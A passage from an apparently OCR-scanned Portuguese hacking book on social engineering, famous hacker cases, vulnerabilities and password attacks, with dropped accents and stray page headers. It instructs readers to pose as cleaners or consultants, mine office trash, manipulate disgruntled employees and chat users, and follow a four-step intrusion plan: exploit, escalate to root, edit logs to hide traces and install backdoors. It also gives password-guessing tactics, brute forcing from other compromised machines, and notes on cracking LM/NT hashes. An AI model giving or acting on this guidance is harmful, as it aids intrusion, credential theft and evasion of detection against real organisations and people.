seja at agentes do governo) para, de posse das informaes j "garimpadas", angariar dados e documentos mais srios, especficos e, principalmente, valiosos.
A seguir vamos falar sobre mtodos utilizados para a aquisio de dados
vitais das empresas, tanto em ataques diretos quanto indiretos.

Disfarces
Como um bom espio, o engenheiro social deve dispor de diversos disfarces
para alcanar seus objetivos. Entre eles devem constar desde se passar por
faxineiro at consultor em visita. Certas empresas adoram receber consultores
de empresas famosas. Para tanto, basta apenas que o hacker tenha um terno,
boa lbia e um crach. O fator idade no mais um problema to grande, pois o
perfIl do profIssional de informtica cada vez mais jovem, basta apenas tratar
um pouco da aparncia e da linguagem a ser utilizada.
A incorporao do personagem um fator de grande importncia para o sucesso. Imagine um hacker disfarado de faxineiro. Ele simplesmente no vai
andar at a lata de lixo, separar os papis de seu interesse e virar as costas, ser
at estranho se ningum suspeitar. Ele deve fazer todo o servio desde limpar a
mesa at varrer o cho, conseguindo mais oportunidades para entender o que
acontece ao seu redor. Depois de um certo tempo, as pessoas passam a confIar
mais e o invasor pode tranqilamente limpar as mesas repletas de material importante para o desenvolvimento de um ataque bem-sucedido.

o Lixo rico!
o lixo de um escritrio , potencialmente, uma das maiores fontes de informaes para o hacker. Geralmente nele que as pessoas jogam aqueles pedaos de
papis em que anotam suas senhas antes de memoriz-Ias ou transcrever para
uma agenda. Alm disso, o lixo de uma grande empresa recebe dezenas de relatrios que podem parecer banais mas que, na verdade, guardam informaes sobre
o patrimnio da empresa, funcionrios cadastrados e aspectos dos sistemas.
A falta de preocupao s com esse fator isolado pode render uma invaso
bem-sucedida e ainda ajudar o invasor a limpar seus rastros. Muitas vezes, ele
mesmo pode estar l para recolher o lixo da sala do administrador. Obviamente, isso depende muito da percia do hacker e do quanto ele realmente precisa
das informaes, caso contrrio, ele pode esperar at que o material seja posto
para coleta, o que no seria muito recomendado.

1126 I
EngenhariaSocialI

Universidade 1Ano

Funcionrios

descontentes

e redes de contatos

Talvez seja a fonna mais fcil de conseguir infonnaes dentro de uma empresa. Muitas vezes POde rustar um certo valor (nem sempre em dinheiro...), mas isso vai dePender
do teor de insatisfao do fundonrio para com a empresa em questo. Explorar a ftagilidade de pessoas insatisfeitas com as condies de trabalho muito mais simples do que
POdemos imaginar. muito fcil para o administrador insatisfeito com o salrio falar algo
que possa prejudicar seus superiores de alguma fonna. Nem sempre eles so teis aps
sarem ou serem demitidos, pois a poltica das empresas a de trocar as senhas.
No se deve esquecer que os funcionrios de uma empresa possuem uma
rede de contatos, dentro e fora dela. Isso tambm vlido para os descontentes, que podem fornecer ao hacker informaes valiosas sobre outras pessoas e sobre caminhos para chegar a mais dados.

o apelo sentimental
o invasor pode incorporar outra pessoa, com muito mais facilidade, no mundo virtual.Vamos supor que o hacker quer invadir um computador qualquer na Internet. Ele
procura uma sala de chat e observa silendosamente a conversa por um tempo. Depois,
sai da sala e entra novamente com algum apelido do sexo oposto ao da vtima escolhida. A partir desse ponto fcil conquistar a confiana do internauta e ganhar acesso
aos seus dados pessoais mais importantes, usando apenas as tcnicas de seduo e
conquista que todos ns conhecemos e que, mesmo assim, fundonam. Observe que
homens e mulheres possuem maneiras diferentes de serem conquistados e seduzidos.

Programao

neurolingstica

Ao se comunicar com qualquer pessoa, possvel utilizar tcnicas de programao


neurolingstica para confundir a pessoa e faz-la concordar com voc. Consegue-se
isso de diversas formas, sendo a mais bvia (e que funciona em quase 100% dos casos)
fazer com que a vtima acredite que na realidade a idia foi dela. Uma das tcnicas para

confundir a vtima a chamada acompanha-acompanha-acompanha-comanda:

hacker imita o jeito de escrever, de falar e at a gesticulao de seu interlocutor. Faz isso

por um bom tempo durante a conversa, at que um elo de intimidade se forme e a


vtima pense que est no comando, baixando a guarda. A partir da, o hacker pode
comandar a conversa sem que a vtima perceba e sugar dela tudo o que for necessrio.

A utilizao da Internet
Uma forma eficaz de conseguir as informaes

desejadas atravs de formul-

rios e cadastros na Internet. Sites que oferecem brindes para quem se cadastrar
e promoes que prometem os mais variados tipos de prmios podem no passar de instrumentos

utilizados pelos hackers para conseguir

uma vasta quantida-

de de informaes sobre os internautas. Entre elas, esto dados pessoais e dicas


sobre o comportamento

da futura vtima. Essa tcnica utilizada principalmen-

te para a obteno de nmeros de cartes de crdito e dados como CPF e RG.


11271

] Engenharia

Social

I Universidade

H4CK3R I

o fator sorte
H muitos casos em que os procedimentos de engenharia social so facilitados por descuidos dos usurios e dos administradores do parque de informtica
das empresas. s vezes, mesmo empresas muito seguras deixam escapar uma, e
apenas uma, informao no bvia. Se o hacker tiver a sorte de tropear nessa
informao, seu processo de engenharia social poder ser abreviado em vrios
dias, s vezes semanas. Oreille attentive et bon vouloir!2

Navegando pelo mar proibido


Mesmo depois de invadidos, um computador, um site ou uma empresa so um
quebra-cabea complicado para o invasor. At ento este possua as informaes sobre a periferia. Agora ele tem acesso irrestrito a todas as reas do local
invadido, mas que para ele se parece mais com um labirinto. O controle de
acesso e usurios internos de empresas, por exemplo, normalmente menos
rigoroso que os procedimentos de segurana das partes visveis externamente
(site, e-mail, gateways e Internet). Mas ainda assim, uma vez dentro, o invasor
dever quebrar senhas, contornar dispositivos de segurana ou mesmo utilizar
novamente a engenharia social para obter informaes cada vez mais prximas do ncleo. Este um processo sem ftm' ;-)

Casos reais
Os hackers listados nesta "galeria da fama" ganharam notoriedade por seus
ataques muito bem engendrados e pelas somas fabulosas em dinheiro que foram
capazes de movimentar. Mas lembre-se: hackers, quando so realmente bons, no
so apanhados...

Abraham Abdallah
Em 2002, o hacker e.lavador de pratos Abraham Abdallah recebeu acusaes
de fraudes da ordem de US$ 80 milhes. Utilizando-se da revista Forbes, que
publicou uma lista com as 400 pessoas mais ricas dos EUA,ele roubou o nmero
de diversos cartes de crdito de pessoas famosas. Utilizando tcnicas de engenharia social, Abdallah enganou bancos e empresas de crdito para conseguir as
informaes para o seu golpe.
Chegou a montar uma rede de caixas postais para receber as encomendas
que fazia com o dinheiro roubado. Foi descoberto pela polcia ao tentar retirar
uma quantia acima do saldo existente de Thomas Siebel, fundador da empresa
de e-commerce chamada Siebel Systems.

2 "Orelha atenta e boa vontade"" - expresso muito empregada no texto As Mil e Uma Noites
Narrativas de Sabedoria (Les Mille et Une Nuits - Rcits Sapientiaux. Traduo para o francs de Ren
R. Khawam, ditions Albin Michel, Frana). O original em rabe impronuncivel para os ocidentais.

1128 I
Engenharia Social [

Universidade 1Ano

Kevin Mitnick
Kevin Mitnick j foi um dos criminosos mais procurados pelo FEI,devido aos
crimes digitais que cometeu. Aps ganhar a liberdade, ajudou a fundar uma
empresa de consultoria especializada em segurana, a Defensive Thinking. Esse
um fato que chega a surpreender muito, pois Mitnick tomou-se um smbolo
da engenharia social ao planejar e realizar seus ataques aos sistemas de grandes empresas pelo mundo.
Ele usou as artimanhas da engenharia social pela primeira vez nos anos 70, ao
conhecer um estudante que lidava com "phreaking" (o hackeamento de linhas
telefnicas). Ele percebeu como os phreakers agiam, fazendo-se passar por llllcionrios das companhias telefnicas. Comeou a tentar com amigos e professores e sentiu-se motivado aps notar que tinha facilidade em conseguir informaes confidenciais. Ele foi evoluindo suas tticas at o ponto em que nenhuma empresa estava mais segura contra os seus ataques.
Sua lista de ataques inclui desde telefonemas inocentes ao setor de suporte
at a incorporao de funcionrios importantes para conseguir informaes
como senhas para obter acesso a grandes sistemas da empresa. Dessa forma,
Mitnick tornou-se uma lenda para a populao hacker ao redor do mundo.
Alm desses, podemos citar, com louvor, outros hackers que se utilizaram de
engenharia social para atingir seus objetivos:
~ O polons VIadimir Levin, que desviou mais de dez milhes de dlares de
contas no CityBank;
~ Raphael Gray,que roubou quase 30 mil cartes de crdito nos Estados Unidos e, com um deles (que ele alega ser de Bill Gates), comprou uma caixa de
Viagra e a remeteu ao prprio;
~Jerome Heckenkamp, ingls de 22 anos, que pediu ao juiz para ser preso
depois de invadir sites como o eBay,Lycos e eTrade;
Poderamos preencher completamente este livro citando diversos hackers
famosos (inclusive brasileiros). Apenas estes exemplos, entretanto, mostram
como as estruturas de segurana, que j so ruins no campo tecnolgico, ficam
piores quando o fator humano entra em campo.

1129 I

] Engenharia

Social

Vu lnera bilidad es

Captulo
"!

am a world's forgotten boy

The one who searches and destroys


Look out honey, 'cause /'m using technology
Ain 'tgot time to make no apology"i
The Stooges, "Search and Destroy"

J "Eu sou um g'aroto esquecido pelo mundo / Aquele que


vasculha e destroi / Estou usando tecnoJog'ia / E por isso no
tenho tempo para me desculpar': Do album Ilaw Power. 1973.

I Universidade

H4CK3R

Imagine uma nao como os Estados Unidos da Amrica. Forte, rica, militarmente imbatvel, tecnologicamente muito frente de qualquer outra. muito
difcil imaginar que uma nao como essa perca uma guerra sendo travada em
algum pas distante. Mesmo que, por algum motivo, perca tal guerra, os dispositivos nacionais de defesa nunca deixariam que um ataque qualquer (militar ou
terrorista) chegasse perto das fronteiras do pas. Certo?
Bem, 11 de setembro deixou claro que ningum pode prever tudo. Os terroristas atacaram por onde foi mais fcil, usando pessoas comuns - cidados americanos - e atuando em pontos reconhecidamente vunerveis - a fraca segurana
dos aeroportos. Quem poderia imaginar que avies comerciais seriam usados
como msseis para derrubar as torres do World Trade Center em Nova York? Se
pensarmos bem, a idia to insana que chega a ser genial (do ponto de vista
dos terroristas, obviamente): foi deveras fcil causar todo aquele dano.
Administradores de sites e de redes e mesmo ns, usurios comuns de
informtica, temos o mesmo dilema. Aplicamos correes de segurana liberados pelos desenvolve dores dos programas que usamos, instalamos flrewalls, antivrus, removedores de trojans e toda uma parafernalha tecnolgica para descobrir, depois de alguns dias, que no adiantou nada: bastou um garoto de 12 anos
com muita vontade e ms intenes para invadir nossos sistemas e fazer um
belo estrago.
Infelizmente mesmo o usurio leigo deve se preocupar com a segurana de
suas informaes e sistemas de informtica. Hoje no basta trocar a fechadura
da porta: se o seu forro for de madeira, os ladres entram pelo teto. Assim como
devemos modillcar (desflgurar?) nossas casas para torn-Ias mais seguras, temos de estar atentos a todos os buracos no bvios que os programas os quais
usamos apresentam para os terrveis chapus pretos2.

Noces sobre vulnerabilidades


I

o estudo das vulnerabilidades existentes deve fazer parte da rotina do bom hacker
(err... do mau tambm...). Diariamente, listas de discusso e sites especializados
liberam listas e mais listas de falhas em sistemas operacionais e servidores. Considerando que, se voc est lendo este livro e est neste captulo, voc est querendo
aprender. Utilizar-sede tcnicas j conhecidas e divulgadas o trampolim para, no
futuro, descobrir essas vulnerabilidades antes dos organismos de defesa. Mesmo um
hacker experiente tem de estar atento a essas listas, caso algum usurio queira
facilitar seu trabalho e deixar seu computador desatualizado.
2 No captulo 1, Psicologia Hacker, vimos diversos tipos de hackers divididos por habilidade. Mas o grande
universo do submundo digital pode ser dividido, sem levar em conta as habilidades individuais, entre a comunidade
do bem e a legio do mal. Os do primeiro tipo so chamados de chapus brancos, ou white hats. J os malidosos
se autodenominam
chapus pretos, ou black hats. H os que trabalham no limiar dos dois tipos e so
chamados de grey hats (chapus cinzas). Em tempo: a Red Hat, Ine. (www.redhat.com)
no tem nada com isso...

1132 I
Vulnerabilidades I [

Universidade 1 ano

Normalmente, h trs tipos de fafuas que podem ser exploradas:


1. Fafuas que afetam a disponibilidade da mquina ("tir-Ia do ar"). Isso pode
ser feito de diversas maneiras, uma delas (mas no a nica) a negao de
servio (ou DoS).
2. Falhas que permitem o acesso limitado ao sistema. o que comumente
chamamos de "invaso". Nela incluem-se fafuas do software e falhas de configurao (ou seja, humanas).As falhas de software mais comuns podem ser exploradas diretamente ou por algum tipo de estouro de pilha (o famigerado buffer
overflow). J a falha humana mais comum instalar o sistema e no aplicar as
atualizaes e patches recomendados pelo fabricante. Tambm comum deixar as contas-padro do sistema (administrador, root, bin, operator, sysop... a
lista grande) ativas ou com as senhas default.

3. Falhas que permitem a execuo de cdigo arbitrrio na mquina. Pode ser


o passo seguinte do tipo anterior, ou pode ser explorado diretamente por algum
tipo de exploit, sendo o buffer overflow muito comum.
H outros tipos de fafuas, mas no fundo so especializaes desses trs grandes grupos. Se o seu objetivo ser um usurio ou administrador bem informado,
estar atento s listas de segurana um bom ponto de partida, uma vez que a
maioria esmagadora dos autodenominados hackers/crackers no passam de
moleques com vontade de pichar alguma coisa. Tais fedelhos normalmente no
conhecem nada muito alm do divulgado nessas listas. sua obrigao SEMPRE
atender aos apelos do seu fabricante de software e atualizar os programas que
voc usa para ficar imune a essas fafuas. Se no o fizer, o azar seu: vai ficar
merc de adolescentes com muuuito tempo livre...

Superlammers

e sua viso de Raio-X

Qualquer falha de segurana possui caractersticas nicas. Cada sistema


operacional e cada programa autnomo apresenta as suas, mas grande parte das
vulnerabilidades permite o acesso a reas consideradas restritas de servidores
e computadores pessoais - trocando em midos, toda estrutura de diretrios de
todos os discos rgidos.
O grande problema dos lammers que eles no tm a mnima idia do que esto
fazendo. E nem querem ter: basta encontrar algum site desprotegido, desfigur-Ioe
gozar dos seus cinco minutos de fama. Com seus conhecimentos limitados, normalmente usam uma abordagem de trs estgios para direcionar seus ataques:
1. Busca por computadores vulnerveis
Lammers normalmente no possuem um objetivo definido. No esto atrs de
prejudicar aquela companhia ou roubar o dinheiro daquele banco. Pelo contrrio, vasculham a Internet atrs de computadores (seja servidores, seja pessoais)
que estejam vulnerveis aos poucos tipos de ataque que eles conhecem. Para
tanto, utilizam-se de ferramentas conhecidas como scanners, que, aps forne-

1133 I

] Vulnerabilidades

I Universidade

H4CK3R I

cer um conjunto de mquinas a ser testado, retomam listas s que estiverem


desprotegidas. Como possvel colocar faixas inteiras de endereos de Internet
neles, essas listas podem chegar a centenas de computadores e sistemas.
2. Invaso e posse
Mas descobrir as vulnerabilidades no o suficiente para executar um ataque.
Uma vez encontrado o alvo fcil, os script-kiddies (outro nome dado aos lammers)
utilizam-se de outras ferramentas para explorar os buracos encontrados. Normalmente, nossos garotos tm em mos uma biblioteca razovel de exploits scripts e programas utilizados para "desfrutar" das fraquezas da vtima - para
que sua descoberta no seja em vo. H exploits para "derrubar" a mquina-alvo
e para control-Ia.Aplicado o exploit apropriado, o lammer "owna"3 o sistema e
faz o que quer com ele.
3. Manuteno do ataque
O lammer sabe que sua glria durar pouco e, portanto, instala no computador invadido programas que lhe permitam voltar l, mesmo que o buraco por
onde entrou seja obstrudo. Chamados de backdoors - literalmente, porta de
trs -, so rotinas extremamente simples e eficientes que, utilizando os recursos do prprio sistema operacional, permitem ao invasor conectar-se posteriormente ao sistema. comum instalar mais de um backdoor, e kiddies mais
sofisticados chegam ao cmulo de instalar entre eles algum facilmente
detectvel. Isso confunde o administrador da mquina, fazendo-o acreditar que
resolveu o problema removendo apenas aquele.
Note que este livro tem a inteno de apresentar a porta de entrada desse
submundo ao leitor. Nenhum livro, publicao, site ou FAQna Internet ensinar
ningum a ser hacker, pois isso depende de anos de estudo, evoluo contnua e
abnegao. Neste captulo, vamos estudar algumas ferramentas e falhas de segurana mais comuns em micros domsticos e como explor-Ias da forma mais
eficaz. Obviamente, aqui ainda estaremos no terreno dos lammers. Mas mesmo
sendo procedimentos tecnicamente simples, veremos que no so nada incuos.

Os quatro passos para um hacking feliz


Voc j fez toda a parte de Engenharia Social (que seria o passo zero desta
lista) na vtima. Ou encontrou uma vtima por acaso em suas longas noites de
busca a esmo pela Internet.J descobriu onde esto as brechas e que ferramentas usar. S lhe resta invadi-Ia, mas a pergunta : como? Ser fcil? Ser que no
uma armadilha? Ser que o meu scanner me enganou?
A resposta para tudo isso planejamento. Os passos a seguir foram compilados de diversos relatos de hackers/crackers. No tm a inteno de ser uma
cartilha, mas podem servir de base para a mmtagem de ataques bem-sucedi3 Tomar posse
pelos kiddies.

11341
Vulnerabilidades

Ir

da mquina

invadida,

desfigurando-a

ou recuperando

dados secretos,

no jargo aceito

Universidade 1 ano

dos. So destinados a ataques a redes de empresas, mas possvel adapt-Ios para


atacar computadores pessoais solitrios, tambm.
1. Uma vez descoberta a vulnerabilidade, no tente invadir sua presa imediatamente. Ao contrrio, conhea sua vtima. Visite seu site na Internet (sem atacar, apenas olhe). Se for na sua cidade, visite sua sede e tente descobrir mais
sobre produtos, empregos, servios, funcionrios, hbitos... Podem-se usar tcnicas passivas (observao para ver o que entra e o que sai da mquina ou
rede) ou ativas, como organizar miniataques a pontos isolados e verificar as
mensagens que so retornadas. O importante coletar informaes suficientes
para elaborar um plano de ao, preferencialmente com desfechos alternativos, caso algo d errado.
2. O primeiro acesso a gente nunca esquece. Essa a parte mais importante do
ataque. Pode-se dizer que esta etapa o ataque propriamente dito. Depois de des- .
coberta a vulnerabilidade e examinado o comportamento da vtima, use o exploit
apropriado para ganhar acesso limitado ao sistema. E no se esquea de usar um
proxy pblico para esconder seu endereo IP!!!
3. Humm. Uma vez com acesso limitado, a prxima etapa consiste em ganhar
acesso total mquina (root para sistemas Unix, administrador para sistemas WinNT
- no Win9x, o primeiro acesso j garante controle totaL). Cada SO possui procedimentos diferentes para tal. Uma vez conseguido o acesso irrestrito, basta coletar as
informaes desejadas e, se for o caso, desfigurar o sistema.
4. Agora que voc j "ownou" o sistema, trate de cobrir seus rastros e instalar as
portas de trs. Verifique os logs do sistema e apague tudo o que for relativo sua
visita, MASAPENASISSO! Resista tentao de apagar o log todo - um "buraco" no
registro de eventos far com que o administrador descubra mais cedo do que o
esperado que algum andou bulindo com seu brinquedo. Depois de fazer a cirurgia
nos logs, instale os backdoors. Alguns hackers mais experientes tm o cuidado de
aplicar patches no sistema para remover as portas que os deixaram entrar, evitando assim que outros hackers menos habilidosos entrem no sistema e, por descuido,
alertem o administrador de que a mquina foi tomada.
Alguns dos passos devem ser repetidos, especialmente o 2. Em alguns casos
ser preciso fazer diversos miniataques "1 2 3 4", "1 2 3 4", at que todas as
brechas tenham sido encontradas e exploradas. Obviamente estamos falando
de sites e computadores frouxamente monitorados: tenha sempre em mente
que muitos sistemas possuem IDS (Intrusion Detection Systems), que detectam
scans e auditam os logs do sistema (o que voc apaga guardado em outro log
escondido...), aumentando assim a possibilidade de voc ser pego. H ainda os
sistemas chamados de Honeypots, que apresentam ao invasor uma aparncia
de sistema vulnervel, mas, na realidade, o conduzem para uma armadilha. Ningum quer ir para a cadeia e, mesmo que no haja implicaes penais desse
tipo, ser pego sempre , no mnimo, desagradvel e desabonador. Alguns cuidados devem ser, portanto, seguidos para que o invasor possa desfrutar de sua
presa sem ser importunado.

1135 I

]Vulnerabilidades

I Universidade H4CK3R I

Search and destroy


Agora que voc possui uma idia geral sobre como organizar um ataque
(lembre-se: PLANEJEANTES!!!),podemos apresent-Io a algumas ferramentas
que o ajudaro em seus ataques. Mas note bem: a velocidade com a qual as
armas so criadas e neutralizadas violenta! No se atenha aqui ao programa
em si, mas sim ao modo de usar uma ferramenta dessas para conduzir um
ataque. quase certo que tais ferramentas no sero eficazes, pois os computadores j estaro protegidos contra elas. Mas tambm certo que novos
softwares surgiro. Fique ligado!

Logins fracos
No h necessidade de ferramenta alguma, se quem instalou o software j fez o
servio para voc. Todos os sistemas possuem algumas contas-padro j configuradas antes de o sistema ser instalado (ou seja, j na mdia de instalao). obrigao
de quem est preparando uma mquina para utilizao real saber quais so essas
contas e mudar as senhas das que sero usadas, desabilitando as restantes.
Tristemente, vemos diversos "administradores" por a que recebem seus
Windows 2000 e seus Unix diretamente do fornecedor e no se preocupam em
fazer uma anlise de segurana antes de colocar o equipamento em produo.
Para quem quer brincar de hacker, sistemas assim so um prato cheio. Mesmo
que as senhas sejam alteradas, saber que tais contas existem pode ser um
facilitador para o script kiddie, uma vez que metade da dupla j conhecida,
faltando apenas adivinhar a senha.
No CD, reunimos diversos conjuntos login/senha comuns, vlidos para a maioria dos sistemas operacionais. Esto em formato texto e podem ser utilizados
como listas de palavras em quebradores de senhas. Logins cujas senhas no so
mostradas na lista so contas que existem mas para as quais no h uma
senha-padro consagrada. Experimente essas combinaes em sistemas conhecidos seus. H sistemas nos quais voc, por engenharia social, j conhece algumas contas, falta tentar alguma senha. Na maioria dos casos, uma das palavras
da lista acima usada como senha por algum.

Arrombando a porta da frente


Nos velhos e bons tempos, as pessoas no eram to ligadas em segurana, e furos
como os das contas e senhas-padro eram freqentes. Mas hoje todos so paranicos. H muito mais chances de voc deparr-se com um sistema em que todas as
contas-padro foram canceladas e para o qual engenharia. social no possvel.
Nesses casos, o hacker no tem outra alternativa seno tentar, uma por uma,
todas as combinaes de login e senha que ele puder imaginar. Por no demandar inteligncia, mas trabalho braal, tal procedimento chamado de fora bruta
ou brute force. Faz-Ia manualmente impossvel, dadas as propores da tarefa,
ento os crackers normalmente usam programas que automatizam o processo.

1136 I
Vulnerabilidades I [

Universidade 1 ano

o brote force seguramente o mtodo mais deselegante de tentar uma invaso por login e senha. Voc pode fazer brote force no computador do seu irmo, em casa, para descobrir as senhas dos arquivos Excel ou PDF,por exemplo. Ou pode tentar, via Internet, entrar naquele site de sexo com uma dupla
usurio/senha existente, em vez de buscar quebrar a segurana do site por
outras vias. Tambm pode experimentar entrar na rea restrita da rede de sua
empresa. De qualquer forma, o brote force deselegante, facilmente detectvel
e, em sistemas bem configurados, incuo.
No exemplo do site, um sistema de controle de acesso bem-feito cancelaria o
usurio ou travaria o login por um tempo determinado, caso mais de trs tentativas sem sucesso fossem feitas. Em situaes de war-dialing, necessrio discar
para o modem no qual se quer penetrar para cada tentativa de brote force, o
que o toma dispendioso em termos de dinheiro e tempo. Entretanto, h casos
(normalmente os mais difceis) em que o brote force a nica sada.
H um outro mtodo parecido, que pode ser considerado um brute force inteligente: os ataques por dicionrios. Utilizam-se listas de palavras comuns: nomes prprios, marcas conhecidas, grias, nomes de canes, f1lmes...Os softwares
modernos de fora brota empregam ambos os processos, tentando primeiro a
lista de palavras para depois aplicar as combinaes seqenciais do brote force "primitivo".
Obviamente, o brote force um procedimento perigoso. Um administrador
de sistemas seguramente perceber que os logs de falhas de login crescem
assustadoramente, e que todas as tentativas vm de um nico IP.Um paleativo
colocar uma espera de alguns minutos entre uma tentativa e outra, mas isso vai
retardar ainda mais um processo que, normalmente, pode durar vrios dias ou
mesmo semanas. O procedimento mais sensato invadir vrios sistemas sem
importncia e disparar o brote force a partir deles (obviamente, sempre se
lembrando de apagar seus rastros).
Hackers mais experientes sabem que as listas de palavras devem ser
customizadas para cada alvo, e que, para ser considerada boa, uma lista deve
conter elementos conseguidos por engenharia social, como o nome completo
do usurio, de sua namorada, esposa ou fIlhos, seus passatempos, o modelo de
seu carro novo ou seu endereo. Informaes como estas so utilssimas, efetivas em mais de 50% dos ataques - principalmente quando se tem um nmero
razovel de contas vlidas, bastando descobrir apenas a senha. Se o candidato a
invasor no souber pelo menos o login de uma conta vlida, quase certo que
suas tentativas sero infrotferas.
Sua lista de palavras deve conter nomes prprios do pas onde a mquina-alvo
se encontra. Livros como Que nome darei ao meu fIlho? ajudam muito nessa
hora, e conseguir edies desses livros em diversas lnguas um refInamento
importante da tcnica. Procurar na lista telefnica ou em sua agenda comercial
por nomes e anotaes de outras pessoa~ tambm uma boa idia.

1137 I
I

Vulnerabilidades

I Universidade

H4CK3R I

Sempre tendo em mente que saber o login correto da vtima mais que meio
caminho andado, aqui vo as sugestes para aplicar como senha nesse login:
1. Sempre tente todos os nomes e sobrenomes da vtima, um por vez. Se o
login o primeiro nome, ou uma combinao de nomes, h muitas chances de
que a senha seja algum dos outros nomes, seguidos ou no de nmeros
seqenciais ou letras. _A,_B, _C ou -XYZ tambm so SufIXOScomuns (em maisculas ou minsculas).
2. Se disponveis, tente as palavras conseguidas por engenharia social: namorada/
esposa, filhos, carro, passatempo, posies sexuais, nomes dos chefes... Em seguida,
tente os nomes prprios mais comuns copiados da agenda ou da lista telefnica.
3. Tambm uma boa idia tentar algo relativo ao sistema que est sendo
invadido. Se a mquina em questo a nica que possui AutoCAD em toda a
empresa, tente as senhas acad, autodesk, autocad ou cadcad. Se estiver em um
terminal de mainframes IBM, tente ibmibm, X3270, bigblue, X25. Em um VAX,
experimente vax, vms, digital ou compaq.
4. Usurios tambm so sensveis ao local onde trabalham. Experimente alguma coisa relativa cidade, bairro ou rua onde a empresa se encontra, o prprio
nome da empresa ou seus produtos mais famosos. Em uma mquina da Telemar,
por exemplo, poderiam ser tentadas as senhas DDDeh31, velox ou interurbano.
s vezes, o funcionrio est desgostoso com a companhia. Sua senha nesses
casos costuma ser ou uma palavra de baixo calo ou algum produto da concorrncia (exemplo: um funcionrio da Conectiva possui a senha windowsxp).
5. Por ltimo, deve-se, separadamente, tentar suas listas de palavras e senhas
comuns. Nunca use listas com mais de cem palavras, pois voc ficaria exposto
demais e facilmente detectvel, alm de modularizar e especializar o ataque.
Um procedimento importante ao elaborar suas listas de palavras tentar pensar da mesma maneira que o usurio. Caso ele fuja das combinaes comuns
(nome da esposa, ftlhos, etc.), sua senha ser o que primeiro lhe vier cabea,
ou o nome de algum objeto que est em sua escrivaninha.
No CD h diversos programas para brute force, a maioria com possibilidade
de se usar em tanto dicionrios quanto combinaes seqenciais. No vamos
recomendar nenhum aqui: teste-os e tire suas prprias concluses.

Sem quebrar o ovo no se faz omelete


Imagine a situao inversa da seo anterior. Voc j entrou numa mquina

Unix ou Windows NT/2k/XP e capturou o arquivo de senhas do sistema.Obviamente essas senhas esto criptografadas, portanto, o arquivo pouco lhe ser til
se no fosse uma outra classe de programas que todo cracker deve ter: os
quebradores de senhas.
Na maioria das vezes, invade-se o sistema por algum descuido do administrador, mas com um usurio cujos poderes so muito limitados. Roubando-se o arquivo de senhas, possvel entrar nas reas privativas dos outros usurios (den-

138

Vulnerabilidades

Ir

Universidade 1ano

tro da mesma mquina ou na rede) e capturar informaes teis para um ataque


mais profundo, ou mesmo dados vitais, como senhas para outros servios, acesso
a reas restritas da empresa ou nmeros de carto de crdito. possvel tambm
conseguir a senha do administrador e reahnente "ownar" a mquina.
Arquivos de senhas criptografadas geralmente possuem hashes ao lado dos
logins. Hashes so uma seqncia de smbolos que, confrontados com a chave
criptogrfica correta, revela a senha do usurio. No Windows NT (e, posteriormente, no Windows 2000 e no XP) as senhas so armazenadas no registro. Um
exemplo de hash do Windows poderia ser:
maedinah: 1001 :3592C2B9967FD3A4976EED543AC98756C3C3CFA2:8903
AD475E3478C45D 15B1749777DCFD3CC4457:::
o primeiro campo , obviamente, o login do usurio. O segundo o ID nico
do usurio no sistema. Sistemas da famlia WinNT possuem tal identificao da
mesma forma que nos Unix, embora isso seja escondido dos usurios. Depois
temos dois grandes nmeros, que representam as senhas criptografadas do sistema. A primeira a representao da senha para redes Microsoft antigas, compatveis com LAN Manager. Por isso mesmo, chamada de LM Hash. Na verdade, nem a senha que criptografada. Do contrrio, o sistema gera dois nmeros hexadecimais, e esses nmeros so criptografados pelo padro DES (Data
Encryption Standard), usando como chave a senha, ajustada para 14 caracteres
(caso o usurio tenha escolhido uma senha menor, so aplicados enchimentos).
Cada metade da senha (sete caracteres) usada para criptografar um dos nmeros hexadecimais. Essa representao da senha muito fraca e facilmente
decodificvel por hackers. O mtodo normalmente utilizado a diviso do hash
em duas partes, e o hacker usa password crackers independentes em cada
pedao, acelerando a quebra da senha.
A seguinte a chamada representao NT da senha. Ao contrrio da anterior,
essa representao muito mais dificil de decifrar. A senha , tambm, ajustada
para 14 caracteres e depois criptografada trs vezes com o algoritmo de hashing
MD-4.Apesar de muito melhor, ainda ineficiente se comparado aos sistemas
Unix. Falta "sal". O conceito de "salting" (ou "salgar") interessante. Qualquer
algoritmo de criptografia baseia-se na permuta de valores. Temperar o hashing
com salt significa escolher aleatoriamente muitos dos valores para permuta, adicionando uma nova camada de desafio para a reverso do criptograma.A falta de
"tempero" permite ao cracker usar apenas uma estimativa de hashing para a
senha, diminuindo consideravelmente o tempo necessrio para descobri-Ia.
Mesmo sem esse problema, o Windows NT/2k/XP possui outro inconveniente
gritante: os hashes so legveis por qualquer usurio. No h como prevenir que
crackers tenham acesso a eles. Alm disso, na maioria dos casos, a mesma senha
blindada pelo hash NT est fracamente dissolvida no pseudo-hash LM. Desco1139

]Vulnerabilidades

I Universidade

H4CK3R I

brindo o segundo, provvel que o cracker tenha acesso ao sistema e rede.


No Unix, as informaes de login so armazenadas no arquivo /etc/passwd.
O contedo do arquivo passwd muito mais complexo (e completo) que o seu
equivalente microsoftiano.
nonodeogum: $1$YgQ8Da9T$WFS59jmV80kWAia2cjr8u1:
Nono de Ogum:/home/nonodeogum:!bin!bash

500: 500:Pai

Da esquerda para a direita, separados por dois pontos, temos: nome de login,
hash da senha, ID do usurio, ID do grupo a que ele pertence (tanto no WinNT
quanto no Unix os usurios so organizados em grupos), nome completo do
usurio (este o antigo G-COS field), localizao do diretrio pessoal (home)
do usurio e shell de login. Observe o hash. muito mais complexo que o do
WinNT. No h como o hacker descriptografar a senha porque ela "s de ida".
A chave de criptografia aplicada quando o usurio cadastra a senha, ficando o
resultado do hashing guardado no arquivo passwd.A chave, sendo de "mo nica", s pode ser descoberta por brute force. Quando o usurio Ioga-se no sistema, a senha do arquivo passwd no decifrada. Ao contrrio, a senha que ele
fornece durante o login criptografada novamente e comparada com a que
est gravada no arquivo. Se ambas "baterem", o usurio tem acesso ao sistema.
Uma das caractersticas interessantes que nenhum algoritmo de criptografia
gera um hash que contenha o caractere "*". Por isso mesmo, colocar um
caractere desses no lugar da senha impede o login por aquela conta.
A abordagem /etc/passwd tem um problema. Todos os usurios devem poder ler do arquivo, pois suas informaes vitais (UlD, GID, home e shell) esto
nele. Isso quer dizer que os hashes de todos os usurios ficam desprotegidos e
qualquer lammer com uma conta no sistema pode querer rodar um quebrador
de senhas neles. Mesmo sendo difcil de quebrar, um arquivo que pode ser lido
por todo mundo tambm pode ser copiado em disquete, levado para casa e
quebrado sossegadamente por uma mquina comum, sem que ningum saiba.
Para resolver esse problema, a maioria dos Unices de hoje utiliza o
sombreamento de senhas ou shadow passwords. O shadow um arquivo com
